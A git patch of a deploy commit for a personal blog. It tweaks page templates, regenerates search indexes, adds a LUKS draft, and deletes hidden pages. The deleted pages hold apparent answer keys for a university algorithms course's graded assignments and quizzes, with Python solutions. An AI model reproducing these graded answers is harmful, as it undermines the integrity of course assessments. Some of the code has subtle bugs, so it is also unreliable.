From b154dd2bdd3239d588ce088f8cabc53bb5acca29 Mon Sep 17 00:00:00 2001 From: lavafroth Date: Thu, 1 Jan 2026 02:10:54 +0000 Subject: [PATCH] deploy: 9614c4fc9868fdfde5b7c82caef6afa37c315c46 --- 404.html | 2 +- about/index.html | 2 +- art/amateur-blender-sculpture/index.html | 2 +- art/drowning/index.html | 2 +- art/index.html | 2 +- art/shes-a-rebel/index.html | 2 +- art/sparkles/index.html | 2 +- art/thiserror/index.html | 2 +- art/tyler-joseph-portrait/index.html | 2 +- art/wip-animation/index.html | 2 +- divmqbyvl9y/index.html | 263 ------------------ ilrlmvakdlx9uwodtocdbg/index.html | 172 ------------ index.html | 12 +- index.xml | 251 +---------------- jfgp3d7rrx0/index.html | 112 -------- page/2/index.html | 18 +- page/3/index.html | 15 +- page/4/index.html | 15 +- page/5/index.html | 17 +- page/6/index.html | 9 +- pagefind/fragment/en-us_12bc273.pf_fragment | Bin 738 -> 0 bytes pagefind/fragment/en-us_2725464.pf_fragment | Bin 0 -> 1072 bytes pagefind/fragment/en-us_80c2b8a.pf_fragment | Bin 1038 -> 0 bytes pagefind/fragment/en-us_bc8ea43.pf_fragment | Bin 5648 -> 0 bytes pagefind/fragment/en-us_e1c4bd5.pf_fragment | Bin 5768 -> 0 bytes pagefind/index/en-us_11d13a7.pf_index | Bin 36945 -> 0 bytes pagefind/index/en-us_31de252.pf_index | Bin 0 -> 25605 bytes pagefind/index/en-us_5d26328.pf_index | Bin 40123 -> 0 bytes pagefind/index/en-us_5ff8add.pf_index | Bin 0 -> 43124 bytes pagefind/index/en-us_98a180f.pf_index | Bin 0 -> 42087 bytes pagefind/index/en-us_9940fc9.pf_index | Bin 46957 -> 0 bytes pagefind/index/en-us_9d9987e.pf_index | Bin 43546 -> 0 bytes pagefind/index/en-us_acb0996.pf_index | Bin 42534 -> 0 bytes pagefind/index/en-us_dd6d475.pf_index | Bin 43212 -> 0 bytes pagefind/index/en-us_de803b2.pf_index | Bin 0 -> 43175 bytes pagefind/index/en-us_e9efbf9.pf_index | Bin 0 -> 41346 bytes pagefind/index/en-us_fcec4af.pf_index | Bin 0 -> 40687 bytes pagefind/pagefind-entry.json | 2 +- pagefind/pagefind.en-us_3cbf2253331fd.pf_meta | Bin 631 -> 0 bytes pagefind/pagefind.en-us_56fbca3d5e149.pf_meta | Bin 0 -> 618 bytes .../index.html | 2 +- post/a-sweet-little-config-parser/index.html | 2 +- .../a-tale-of-a-frugal-home-server/index.html | 2 +- .../index.html | 6 +- post/algebraic-python-enums/index.html | 3 +- .../android-phone-for-webcam-nixos/index.html | 2 +- .../index.html | 2 +- .../index.html | 2 +- .../index.html | 10 +- .../detecting-stripped-go-binaries/index.html | 2 +- post/do-you-really-need-a-copilot/index.html | 2 +- post/edge-cases-you-shall-not-pass/index.html | 4 +- post/gadgeting-in-python-jails/index.html | 2 +- post/google-ctf-2022-treebox/index.html | 2 +- .../index.html | 2 +- .../how-i-use-swhkd-in-my-workflow/index.html | 2 +- .../index.html | 2 +- .../index.html | 2 +- post/i-switched-to-nixos/index.html | 2 +- .../index.html | 2 +- post/index.html | 12 +- post/index.xml | 10 +- post/keep-the-keys-clackin/index.html | 2 +- post/kringlecon-2022-writeup/index.html | 14 +- post/kringlecon-2023-writeup/index.html | 40 +-- post/liberating-14gib-of-space/index.html | 2 +- .../index.html | 2 +- .../index.html | 2 +- post/nixos-notes-to-self/index.html | 2 +- post/nixos-secureboot-shenanigans/index.html | 6 +- post/oh-my-god-they-killed-kenny/index.html | 2 +- post/page/2/index.html | 18 +- post/page/3/index.html | 15 +- post/page/4/index.html | 15 +- post/page/5/index.html | 17 +- post/page/6/index.html | 9 +- .../index.html | 4 +- .../picoctf-cryptography-pixelated/index.html | 4 +- .../index.html | 2 +- post/picoctf-sansalpha-writeup/index.html | 2 +- post/picoctf-web-challenge-jauth/index.html | 2 +- post/picoctf-web-challenge-notepad/index.html | 2 +- .../picoctf-web-java-code-analysis/index.html | 4 +- .../index.html | 2 +- .../index.html | 12 +- post/polishing-and-bugfix-week/index.html | 4 +- .../index.html | 8 +- post/project-mana-demo/index.html | 2 +- post/r0-hash-me-please/index.html | 2 +- post/r0-hash-me-reloaded/index.html | 2 +- post/r0-i-saw-a-little-elf/index.html | 2 +- post/ringzer0ctf-bash-jail1/index.html | 2 +- post/ringzer0ctf-bash-jail2/index.html | 2 +- post/ringzer0ctf-bash-jail3/index.html | 2 +- .../index.html | 2 +- post/the-gsoc-grand-finale/index.html | 2 +- post/timing-is-key/index.html | 2 +- .../index.html | 12 +- .../index.html | 8 +- post/wayland-tools-rock/index.html | 2 +- .../working-with-luks-file-stashes/index.html | 26 ++ privacy/index.html | 2 +- project_mana/index.html | 2 +- sitemap.xml | 2 +- skta4v7n8h8/index.html | 132 --------- tags/3d/index.html | 2 +- tags/ai/index.html | 2 +- tags/algebraic-data-types/index.html | 2 +- tags/amateursctf/index.html | 2 +- tags/android/index.html | 2 +- tags/animation/index.html | 2 +- tags/ast/index.html | 2 +- tags/authentication-bypass/index.html | 2 +- tags/automation/index.html | 2 +- tags/bash/index.html | 2 +- tags/binary-exploitation/index.html | 2 +- tags/binary-exploitation/index.xml | 2 +- tags/bioinformatics/index.html | 2 +- tags/ci-exploitation/index.html | 2 +- tags/cloud-security/index.html | 2 +- tags/concurrency/index.html | 2 +- tags/cookies/index.html | 2 +- tags/copilot/index.html | 2 +- tags/cryptography/index.html | 2 +- tags/ctf/index.html | 2 +- tags/ctf/index.xml | 2 +- tags/ctf/page/2/index.html | 2 +- tags/ctf/page/3/index.html | 2 +- tags/cuda/index.html | 2 +- tags/custom-rom/index.html | 2 +- tags/decorators/index.html | 2 +- tags/dmarc/index.html | 2 +- tags/dna/index.html | 2 +- tags/e/os/index.html | 4 +- tags/e/os/index.xml | 2 +- tags/e/os/page/1/index.html | 2 +- tags/ebnf/index.html | 2 +- tags/ebnf/page/2/index.html | 2 +- tags/elf/index.html | 2 +- tags/forensics/index.html | 2 +- tags/glsl/index.html | 2 +- tags/go/index.html | 2 +- tags/google-ctf/index.html | 2 +- tags/google-summer-of-code/index.html | 2 +- tags/google-summer-of-code/page/2/index.html | 2 +- tags/home-server/index.html | 2 +- tags/image-reconstruction/index.html | 2 +- tags/index.html | 2 +- tags/index.xml | 2 +- tags/java/index.html | 2 +- tags/javascript/index.html | 2 +- tags/jellyfin/index.html | 2 +- tags/jinja2/index.html | 2 +- tags/jwt/index.html | 2 +- tags/kernel-modules/index.html | 2 +- tags/lanzaboote/index.html | 2 +- tags/laptops/index.html | 2 +- tags/linear-algebra/index.html | 2 +- tags/linux/index.html | 2 +- tags/llm/index.html | 2 +- tags/machine-learning/index.html | 2 +- tags/manim/index.html | 2 +- tags/meta/index.html | 2 +- tags/nix/index.html | 2 +- tags/nixos/index.html | 2 +- tags/notes/index.html | 2 +- tags/nushell/index.html | 2 +- tags/nvidia/index.html | 2 +- tags/path-traversal/index.html | 2 +- tags/photoprism/index.html | 2 +- tags/picoctf/index.html | 2 +- tags/picoctf/index.xml | 2 +- tags/powershell/index.html | 4 +- tags/powershell/index.xml | 2 +- tags/python/index.html | 2 +- tags/quickstep/index.html | 2 +- tags/quickswitch/index.html | 2 +- tags/rant/index.html | 2 +- tags/remainder-theorem/index.html | 2 +- tags/reverse-engieering/index.html | 2 +- tags/reverse-engineering/index.html | 2 +- tags/ringzer0/index.html | 2 +- tags/rust/index.html | 2 +- tags/rust/page/2/index.html | 2 +- tags/sandbox-escape/index.html | 2 +- tags/sbctl/index.html | 2 +- tags/secureboot/index.html | 2 +- tags/south-park/index.html | 2 +- tags/streaming/index.html | 2 +- tags/swhkd/index.html | 2 +- tags/swhkd/page/2/index.html | 2 +- tags/terminal/index.html | 2 +- tags/the-sleuth-kit/index.html | 2 +- tags/threejs/index.html | 2 +- tags/til/index.html | 2 +- tags/troubleshooting/index.html | 2 +- tags/ui/index.html | 2 +- tags/video-editing/index.html | 2 +- tags/visual-cryptography/index.html | 2 +- tags/waycrate/index.html | 2 +- tags/waycrate/page/2/index.html | 2 +- tags/wayland/index.html | 2 +- tags/wayland/page/2/index.html | 2 +- tags/web-parsing/index.html | 2 +- tags/web/index.html | 2 +- tags/webassembly/index.html | 2 +- tags/webgl/index.html | 2 +- tags/windows/index.html | 2 +- tags/wireshark/index.html | 2 +- tags/workflow/index.html | 2 +- tags/youtube/index.html | 2 +- 211 files changed, 359 insertions(+), 1238 deletions(-) delete mode 100644 divmqbyvl9y/index.html delete mode 100644 ilrlmvakdlx9uwodtocdbg/index.html delete mode 100644 jfgp3d7rrx0/index.html delete mode 100644 pagefind/fragment/en-us_12bc273.pf_fragment create mode 100644 pagefind/fragment/en-us_2725464.pf_fragment delete mode 100644 pagefind/fragment/en-us_80c2b8a.pf_fragment delete mode 100644 pagefind/fragment/en-us_bc8ea43.pf_fragment delete mode 100644 pagefind/fragment/en-us_e1c4bd5.pf_fragment delete mode 100644 pagefind/index/en-us_11d13a7.pf_index create mode 100644 pagefind/index/en-us_31de252.pf_index delete mode 100644 pagefind/index/en-us_5d26328.pf_index create mode 100644 pagefind/index/en-us_5ff8add.pf_index create mode 100644 pagefind/index/en-us_98a180f.pf_index delete mode 100644 pagefind/index/en-us_9940fc9.pf_index delete mode 100644 pagefind/index/en-us_9d9987e.pf_index delete mode 100644 pagefind/index/en-us_acb0996.pf_index delete mode 100644 pagefind/index/en-us_dd6d475.pf_index create mode 100644 pagefind/index/en-us_de803b2.pf_index create mode 100644 pagefind/index/en-us_e9efbf9.pf_index create mode 100644 pagefind/index/en-us_fcec4af.pf_index delete mode 100644 pagefind/pagefind.en-us_3cbf2253331fd.pf_meta create mode 100644 pagefind/pagefind.en-us_56fbca3d5e149.pf_meta create mode 100644 post/working-with-luks-file-stashes/index.html delete mode 100644 skta4v7n8h8/index.html diff --git a/404.html b/404.html index 39e26835..5c0e22a4 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ -404 Page not found - lavafroth

404

\ No newline at end of file +404 Page not found - lavafroth

404

\ No newline at end of file diff --git a/about/index.html b/about/index.html index cf1cd123..a533094a 100644 --- a/about/index.html +++ b/about/index.html @@ -16,4 +16,4 @@ consider contributing to them or donating.

Thank you to all the institutio organizations such as Khan Academy, who provide OpenCourseWare and make education accessible.

Certifications

Petty things recruiters seem to care about.

Google Summer of Code 2024

TryHackMe Advent Of Cyber 2020 Certificate

TryHackMe Advent Of Cyber 2021 Certificate

Harvard CS50 2022 Certificate

Harvard CS50 AI 2022 Certificate

Intro to Deep Learning Kaggle Certificate

Intro to Machine Learning Kaggle Certificate

Intermediate Machine Learning Kaggle Certificate

Intro to Game AI and Reinforcement Learning

Send me a private message

You can send me a private message by encrypting it with my public SSH keys -and mailing it to 107522312+lavafroth@users.noreply.github.com.

\ No newline at end of file +and mailing it to 107522312+lavafroth@users.noreply.github.com.

\ No newline at end of file diff --git a/art/amateur-blender-sculpture/index.html b/art/amateur-blender-sculpture/index.html index 15a95a3a..47d36c6f 100644 --- a/art/amateur-blender-sculpture/index.html +++ b/art/amateur-blender-sculpture/index.html @@ -6,4 +6,4 @@ jumpscare.'>Nichole Sebastian for the reference photo. Also apologies if the empty eye sockets gave you a -jumpscare.

\ No newline at end of file +jumpscare.

\ No newline at end of file diff --git a/art/drowning/index.html b/art/drowning/index.html index f31db0b1..63e6d15a 100644 --- a/art/drowning/index.html +++ b/art/drowning/index.html @@ -1 +1 @@ -Drowning - lavafroth

Jun 18, 2024

Drowning

A cyborg head sinking in a pool of water. What more did you expect? Here’s a timelapse.

\ No newline at end of file +Drowning - lavafroth

Jun 18, 2024

Drowning

A cyborg head sinking in a pool of water. What more did you expect? Here’s a timelapse.

\ No newline at end of file diff --git a/art/index.html b/art/index.html index 0b032e62..5de34489 100644 --- a/art/index.html +++ b/art/index.html @@ -9,4 +9,4 @@ or remixing them.


Throwing knives


Truce


She's a Rebel


-
\ No newline at end of file + \ No newline at end of file diff --git a/art/shes-a-rebel/index.html b/art/shes-a-rebel/index.html index 894a8ddf..7f42aeb7 100644 --- a/art/shes-a-rebel/index.html +++ b/art/shes-a-rebel/index.html @@ -1 +1 @@ -She's a Rebel - lavafroth

Apr 17, 2022

She's a Rebel

Clearly the title was an afterthought.

\ No newline at end of file +She's a Rebel - lavafroth

Apr 17, 2022

She's a Rebel

Clearly the title was an afterthought.

\ No newline at end of file diff --git a/art/sparkles/index.html b/art/sparkles/index.html index 0fd133f7..53a64376 100644 --- a/art/sparkles/index.html +++ b/art/sparkles/index.html @@ -1 +1 @@ -✨ - lavafroth

Jul 15, 2025

\ No newline at end of file +✨ - lavafroth

Jul 15, 2025

\ No newline at end of file diff --git a/art/thiserror/index.html b/art/thiserror/index.html index 185a16f5..bf8bb53f 100644 --- a/art/thiserror/index.html +++ b/art/thiserror/index.html @@ -2,4 +2,4 @@ lawyer ferris as my mascot both due to ferris being in the public domain as well as the sheer memeworthiness of the debacle.'>

Jun 18, 2024

This Error

My first hand drawn YouTube thumbnail, I’m might continue using lawyer ferris as my mascot both due to ferris being in the public domain -as well as the sheer memeworthiness of the debacle.

\ No newline at end of file +as well as the sheer memeworthiness of the debacle.

\ No newline at end of file diff --git a/art/tyler-joseph-portrait/index.html b/art/tyler-joseph-portrait/index.html index 552c9da9..2c5bcd34 100644 --- a/art/tyler-joseph-portrait/index.html +++ b/art/tyler-joseph-portrait/index.html @@ -1,3 +1,3 @@ Truce - lavafroth

Jul 23, 2022

Truce

A painting of the lead vocalist of Twenty Øne Piløts, named -after one of my favorite songs from their album Vessel.

\ No newline at end of file +after one of my favorite songs from their album Vessel.

\ No newline at end of file diff --git a/art/wip-animation/index.html b/art/wip-animation/index.html index 3f54951a..4e5629da 100644 --- a/art/wip-animation/index.html +++ b/art/wip-animation/index.html @@ -1 +1 @@ -Throwing knives - lavafroth

Jan 19, 2024

Throwing knives

An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.

\ No newline at end of file +Throwing knives - lavafroth

Jan 19, 2024

Throwing knives

An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.

\ No newline at end of file diff --git a/divmqbyvl9y/index.html b/divmqbyvl9y/index.html deleted file mode 100644 index c1ed1225..00000000 --- a/divmqbyvl9y/index.html +++ /dev/null @@ -1,263 +0,0 @@ -w8 - lavafroth

w8

GRPA 1

def findOccOf(arr, x):
-    lo = 0
-    hi = len(arr) - 1
-
-    loval = None
-    while lo <= hi:
-        mid = (lo + hi) // 2
-        c = arr[mid]
-        if x < c:
-            hi = mid - 1
-        elif x > c:
-            lo = mid + 1
-        elif x == c:
-            loval = loval or mid
-            loval = min(loval, mid)
-            hi = mid - 1
-
-    lo = 0
-    hi = len(arr) - 1
-    hival = None
-    while lo <= hi:
-        mid = (lo + hi) // 2
-        c = arr[mid]
-        if x < c:
-            hi = mid - 1
-        elif x > c:
-            lo = mid + 1
-        elif x == c:
-            hival = hival or mid
-            hival = max(hival, mid)
-            lo = mid + 1
-
-
-    return loval, hival
-

GRPA 2

def merge_inversion(left, right):
-    merged = []
-    count = 0
-
-    i, j = 0, 0
-
-    m = len(left)
-    n = len(right)
-    while i + j < m + n:
-        if j == n or (i != m and left[i] < right[j]):
-            merged.append(left[i])
-            i += 1
-            continue
-
-        merged.append(right[j])
-        j += 1
-        count += m - i
-
-    return merged, count
-
-
-def sort_and_count(arr):
-    n = len(arr)
-    if n == 1:
-        return arr, 0
-    left = arr[: n // 2]
-    right = arr[n // 2 :]
-
-    left, count_left = sort_and_count(left)
-    right, count_right = sort_and_count(right)
-    merged, count_both = merge_inversion(left, right)
-
-    return (merged, count_left + count_right + count_both)
-
-def countIntersection(a, b):
-    tuples = sorted(zip(a, b))
-    b = [t[1] for t in tuples]
-    return sort_and_count(b)[1]
-

GRPA 3

dist = lambda a, b: ((a[0]-b[0])**2 + (a[1]-b[1])**2)**.5
-
-def closest_pair(Px, Py):
-    n = len(Px)
-    if n <= 3:
-        min_d = float('inf')
-        for i in range(n):
-            for j in range(i + 1, n):
-                min_d = min(min_d, dist(Px[i], Px[j]))
-        return min_d
-
-    mid = n // 2
-    Qx = Px[:mid]
-    Rx = Px[mid:]
-    mid_point = Qx[-1][0]
-
-    Qy = []
-    Ry = []
-    for p in Py:
-        if p[0] <= mid_point:
-            Qy.append(p)
-        else:
-            Ry.append(p)
-
-    min_d = min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
-
-    Sy = [p for p in Py if mid_point - min_d <= p[0] <= mid_point + min_d]
-    for i in range(len(Sy)):
-        for j in range(i + 1, len(Sy)):
-            if Sy[j][1] - Sy[i][1] >= min_d:
-                break
-            min_d = min(min_d, dist(Sy[i], Sy[j]))
-
-    return min_d
-
-
-def minDistance(points):
-    Px = sorted(points, key=lambda p: p[0])
-    Py = sorted(points, key=lambda p: p[1])
-    return round(closest_pair(Px, Py), 2)
-

GRPA 4

def mid(a):
-    if len(a) <= 7:
-        return sorted(a)[len(a)//2]
-        
-    m = []
-    for i in range(0,len(a), 7):
-        m.append(mid(a[i:i+7]))
-    
-    return mid(m)
-
-def MoM7Pos(arr):
-    m = mid(arr)
-    pos = 0
-    for x in arr:
-        if x < m:
-            pos += 1
-    return pos
-
\ No newline at end of file diff --git a/ilrlmvakdlx9uwodtocdbg/index.html b/ilrlmvakdlx9uwodtocdbg/index.html deleted file mode 100644 index 640ef431..00000000 --- a/ilrlmvakdlx9uwodtocdbg/index.html +++ /dev/null @@ -1,172 +0,0 @@ -for seshu baby mwa mwa - lavafroth

for seshu baby mwa mwa

Update: I have added the GA 2 sols as well. Please take them with a grain of salt obviously -I am also fallible to mistakes.

AQ2.1

  1. O(n2) O(n^2)
  2. O(n log n) O(n\ log\ n)
  3. O(n3) O(n^3)
  4. O(n+log m) O(n + log\ m)
  5. O(log n) O(log\ n)
  6. O(n2 log n) O(n^2\ log\ n)

AQ2.2

  1. O(log n) O(log\ n)
  2. 5
  3. 3
  4. 3
  5. 2
  6. Multiple options:
    • It works only on sorted arrays.
    • It has a best-case time complexity of O(1).

AQ2.3

Selection sort always makes n(n-1)/2 comparisons which is of order O(n2) O(n^2)

  1. 3
  2. 15
  3. 45
  4. Multiple options:
    • [4, 4, 3, 5, 6]
    • [7, 2, 8, 7, 3]
    • [9, 1, 4, 9, 5]
  5. Multiple options:
    • It is an in-place algorithm.
    • It performs O(n2) O(n^2) comparisons in the worst case.
  6. n/2 \lceil{n/2}\rceil In this case, you narrow the window of comparison on both sides by 1

AQ2.4

  1. 7
OriginalShift
[8, 5, 2, 9, 1]4 shifts
[1, 8, 5, 2, 9]2 shifts
[1, 2, 8, 5, 9]1 shift
[1, 2, 5, 8, 9]

Total 7

  1. 6
OriginalShift
[4, 3, 2, 1]3 shifts
[1, 4, 3, 2]2 shifts
[1, 2, 4, 3]1 shift
[1, 2, 3, 4]

Total 6

  1. 0
  2. 10
  3. 10
  4. array[j] > key → array[j] < key
  5. O(n) O(n)

AQ2.5

Merging two sorted lists of size mm and nn takes worst case m+n1m + n - 1 comparisons

  1. 14
  2. To combine two sorted sublists into a single sorted list.
  3. Multiple options:
    • It is a divide-and-conquer algorithm
    • It requires additional space proportional to the size of the input list.
    • It is stable.
  4. 4
  5. T(n)=2T(n/2)+nT(n) = 2T(n/2) + n
  6. 6
  7. Merge Sort has the same time complexity O(n log n) O(n\ log\ n) for best, worst, and average cases.
  8. 133
  9. 89
  10. 275

GA 2

1. What is the time complexity of the function?

def fun(n):
-   total = 0
-   for i in range(n):
-      total += i
-
-   k=0
-   for i in range(n):
-      for j in range(n):
-         k += i * j
-         for l in range(5):
-            k=1
-
-   for i in range(1000):
-      total -= 1
-   return total + k
-

The second block with nested loops is the bottleneck, it has two loops, implying O(n×n)=O(n2) O(n \times n) = O(n^2) . -The other loops are linear O(n) O(n) and only this second block will dominate. The answer is the dominating term.

O(n2) O(n^2)


2. What is the time complexity of the function?

def func(n):
-   s=0
-   if n <= 0:
-      return 0
-   for i in range(n):
-      j= 0
-      while j * j <n:
-         s += j
-         j += 1
-   return s
-

The outer loop goes for nn times. The inner loop runs as long as the iterator satisfies

j×jn j \times j \le n

which can be rewritten as

jn j \le \sqrt n

Thus, the number of operations after nesting the two loops is

O(nn) O(n \sqrt n)

3. Let Tbest(n),Tavg(n),Tworst(n)T_{best}(n),T_{avg}(n),T_{worst}(n) be the best-case, average-case, and worst-case running times of an algorithm, respectively, executed on an input of size nn. Select the correct statements.

Rule of thumb: Tbest(n)Tavg(n)Tworst(n)T_{best}(n) \le T_{avg}(n) \le T_{worst}(n)

In plain words: When the algorithm gets lucky with an easy input, which is the best case Tbest(n)T_{best}(n), the time it takes is obviously less than the average case Tavg(n)T_{avg}(n). -Similarly, Tavg(n)Tworst(n)T_{avg}(n) \le T_{worst}(n).

Now let’s see the correct options.

Tbest(n)=O(Tavg(n))T_{best}(n) = O(T_{avg}(n))

Big O notation means the upper bound. The time taken for the best case is upper bounded by the time taken by the average case.

Tworst(n)=Ω(Tavg(n))T_{worst}(n) = \Omega(T_{avg}(n))

Ω\Omega notation means the lower bound. The time taken for the worst case is lower bounded by the time taken by the average case.

If Tbest(n)=Θ(n2)T_{best}(n) = \Theta(n^2) and Tworst(n)=Θ(n2)T_{worst}(n) = \Theta(n^2), then Tavg(n)=Θ(n2)T_{avg}(n) = \Theta(n^2)

If the best and worst cases are tightly bound,

Remember, Θ\Theta notation is the sandwich between O and Ω\Omega bounds

then the average case is also sandwiched in between by the same tight bound.


4. How many effective swaps are performed by selection sort on [5, 2, 8, 2, 4]?

Look, I did this with python because I was feeling lazy, you can do it in your head or on paper as well. Sorri baby, I was tired.

Answer is 3.


5. Select correct statements about the given insertion sort implementation.

  • The sort is stable and it sorts in-place
  • After m iterations of the for-loop, the first m elements in the list are in sorted order

6. You are implementing binary search on a sorted array that may contain duplicate values of the target element X . You need to find the index of the last occurrence of X. If an instance of X is found at L[mid], how should the search proceed to find the last possible occurence.

Store mid as a potential answer and continue searching in the right subarray by setting low = mid + 1 .


7. A school wants to maintain a database of its students. Each student has a unique id and it is stored along with other details. Adding a new student with a unique id, searching for a student using their id, and removal of students are the frequent operations performed on the database. From the options given below, choose the most efficient technique to store the data.

Maintain a sorted list with id. Whenever a new student is added, insert the student details into the respective position in the sorted list by id.


8. Find the time complexity of the function:

def tsearch(L, x):
-   global c
-   c += 1
-   n = len(L)
-
-   if n==0:
-      return False
-
-   if L[n // 3] == x:
-      return True
-
-   if L[2 * n // 3] == x:
-      return True
-
-   if x < L[n // 3]:
-      return tsearch(L[:n // 3], x)
-   elif x > L[2 * n // 3]:
-      return tsearch(L[2 * n // 3:], x)
-   else:
-      return tsearch(L[n // 3 : 2 * n// 3], x)
-

This is basically a spin on the binary search algorithm except that instead of dividing the search space into half every time, you are dividing it by 3.

All such divide-and-conquer algorithms take O(log n)O(log\ n) time.


9. Arrange the following functions in increasing order of asymptotic complexity.

f1(n)=3n+log(n)f2(n)=log(n)2f3(n)=log(log(n))f4(n)=100log(n)f5(n)=3n log(n) -\begin{aligned} -f_1(n) = 3n + log(n)\\ -f_2(n) = log(n)^2\\ -f_3(n) = log(log(n))\\ -f_4(n) = 100log(n)\\ -f_5(n) = 3n\ log(n) -\end{aligned} -

Here, f3(n)=log(log(n))f_3(n) = log(log(n)) grows very very slowly.

between the next f4(n)=100log(n)f_4(n) = 100log(n) and f5(n)=3n log(n)f_5(n) = 3n\ log(n)

f3(n)<f4(n)<f2(n)<f1(n)<f5(n) f_3(n) < f_4(n) < f_2(n) < f_1(n) < f_5(n)

10. Correct relationship of function growths

f(n)=Ω(g(n)), g(n)=O(h(n)) -f(n) = \Omega(g(n)),\ g(n) = O(h(n)) -

11. Recursively check the midpoints for this one.

94, 150, 99


12. What will be the number of swaps that the following Insertion sort?

insertion sort considers the first chunck of the array to be sorted, finds the smallest element beyond this chunk -and inserts it (or bubbles it up as I like to think of it) into the pre sorted chunk.

Initially, this chunk is of size 1 because 1 element is sorted by definition.

Original: [38, 28, 43, 22, 112, 33, 39]

OriginalSwapsElement that bubbled up
[28, 38, 43, 22, 112, 33, 39]138
[22, 28, 38, 43, 112, 33, 39]322
[22, 28, 33, 38, 43, 112, 39]333
[22, 28, 33, 38, 39, 43, 112]239

Total swaps: 9

13. Stable sort [(8, 1), (7, 5), (6, 1), (2, 5), (5, 2), (9, 0)] according to the y value of (x, y) pairs.

Stable sort means the order of equally valued objects is not perturbed. If both of us have equal grades in a subject, -and in the score list your name is before mine, it should stay that way after sorting.

[(9, 0), (8, 1), (6, 1), (5, 2), (7, 5), (2, 5)]

14. Perform two way merge, how many comparisons?

all of the elements of L1 come before L2. This means there will be min(len(L1),len(L2))min(len(L1), len(L2)) comparisons.

min(len(L1),len(L2))=3 min(len(L1), len(L2)) = 3

L3 and L4 have interleaving elements. This is the worst case where the number of comparisons is

m+n1=3+31=5 -\begin{aligned} -m + n - 1\\ -= 3 + 3 - 1 = 5 -\end{aligned} -

For the two new lists, all elements of

[1,2,3,4,5,6]

come before elements of

[7,8,9,10,11,12]

min(len(L1),len(L2))=6 min(len(L1), len(L2)) = 6

Total = 6 + 5 + 3 = 14

GRPAs

1. String sorting question

This has two parts:

  • Sort with respect to starting letters.
  • Sort with respect to starting letters, then for each block of common letters, sort the trailing numbers in descending order.

Here’s the trick to solve the second part, you always sort fields in the reverse order of what they ask for. -So first sort by numbers in descending order, then sort by the starting letters.

Sorri this solution is bit big. You could also use the built in sorted function in python without implementing -merge sort like I did here.

def combinationSort(strList):
-    by_first_letter = lambda v: ord(v[0])
-    by_last_digits = lambda v: int(v[1:])
-    sorted_0 = mergesort(strList, by_first_letter)
-
-    sorted_1 = mergesort(strList, by_last_digits, ascending=False)
-    sorted_1 = mergesort(sorted_1, by_first_letter)
-    return sorted_0, sorted_1
-
-
-def merge(a, b, by, ascending=True):
-    i, j = 0, 0
-    m, n = len(a), len(b)
-    c = []
-    while i + j != m + n:
-        if i == m:
-            return c + b[j:]
-        if j == n:
-            return c + a[i:]
-
-        a_ = a[i]
-        b_ = b[j]
-        # this XOR will flip the comparison
-        if ascending ^ (by(a_) > by(b_)):
-            i += 1
-            c.append(a_)
-        else:
-            j += 1
-            c.append(b_)
-    return c
-
-
-def mergesort(v, by, ascending=True):
-    n = len(v)
-    if n == 1:
-        return v
-
-    l = mergesort(v[: n // 2], by, ascending)
-    r = mergesort(v[n // 2 :], by, ascending)
-    return merge(l, r, by, ascending)
-

2. Given an ascending list is rotated, find the biggest element.

We will do a binary search. to calculate the midpoint, we need to know the start and the end indices. -I call them head and tail respectively.

def findLargest(array):
-    head, tail = 0, len(array) - 1
-

If we want the largest element, it will be found in a slice of the array that is sorted in ascending order. -We check that as the loop condition.

    while array[head] > array[tail]:
-

Calculate the midpoint every iteration.

        mid = (head + tail) // 2
-

If the middle element is greater than the last element, it might look like this:

        if array[mid] > array[tail]:
-            head = mid
-

Observe that the left half of the midpoint is useless in this case. Therefore, we set the new head to the midpoint.

        else:
-            tail = mid - 1
-

The opposite case might look like this:

In such a case, the midpoint along with anything to its right is useless. We throw that part away by reassigning tail to mid - 1.

Finally we return the last (standing) array element.

    return array[tail]
-
def findLargest(array):
-    head, tail = 0, len(array) - 1
-    while array[head] > array[tail]:
-        mid = (head + tail) // 2
-        if array[mid] > array[tail]:
-            head = mid
-        else:
-            tail = mid - 1
-    return array[tail]
-

3. Perform merge on two lists via swaps only

The swap function works as list_a.swap(index_a, list_b, index_b) which is part of their custom implementation.

The trick is to treat A and B as a contiguous array: A + B

Any index i smaller than len(A) will index into A, anything bigger will index into B at offset i-len(A).

The index function returns which array the current contiguous indexer indexes into and at what offset.

The rest of the mergeInPlace function body performs selection sort.

def index(A, B, x):
-    return (A, x) if x < len(A) else (B, x - len(A))
-
-def swap(A, B, x, y):
-    source, source_offset = index(A, B, x)
-    target, target_offset = index(A, B, y)
-    source.swap(source_offset, target, target_offset)
-
-def mergeInPlace(A, B):
-    value_at = lambda x: A[x] if x < len(A) else B[x - len(A)]
-    
-    size = len(A) + len(B)
-    for i in range(size-1):
-        smallest_index = min(range(i, size), key=value_at)
-        swap(A, B, i, smallest_index)
-
\ No newline at end of file diff --git a/index.html b/index.html index 7ea0ce33..b4caf17c 100644 --- a/index.html +++ b/index.html @@ -1,4 +1,4 @@ -lavafroth

Algebraic Python Enums


Python +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/index.xml b/index.xml index ee2684c9..1b99c0f3 100644 --- a/index.xml +++ b/index.xml @@ -1,4 +1,10 @@ -lavafrothhttps://lavafroth.is-a.dev/Recent content on lavafrothHugoen-usSun, 02 Nov 2025 19:08:46 +0530Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, +lavafrothhttps://lavafroth.is-a.dev/Recent content on lavafrothHugoen-usThu, 01 Jan 2026 07:24:36 +0530Working With LUKS File Stasheshttps://lavafroth.is-a.dev/post/working-with-luks-file-stashes/Thu, 01 Jan 2026 07:24:36 +0530https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/<p><code>THIS POST IS A DRAFT</code></p> +<p>LUKS is an incredible solution for encrypting entire partitions in Linux. +Often times, however, we can&rsquo;t afford to create new partitions inside a disk +without having to completely format the drive anew.</p> +<p>In this post, I will guide you through the process of creating and working +with LUKS container files that are encrypted at rest and can be decrypted on +demand with knowledge of the passphrase.</p>Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, primarily due to the machine learning and data science 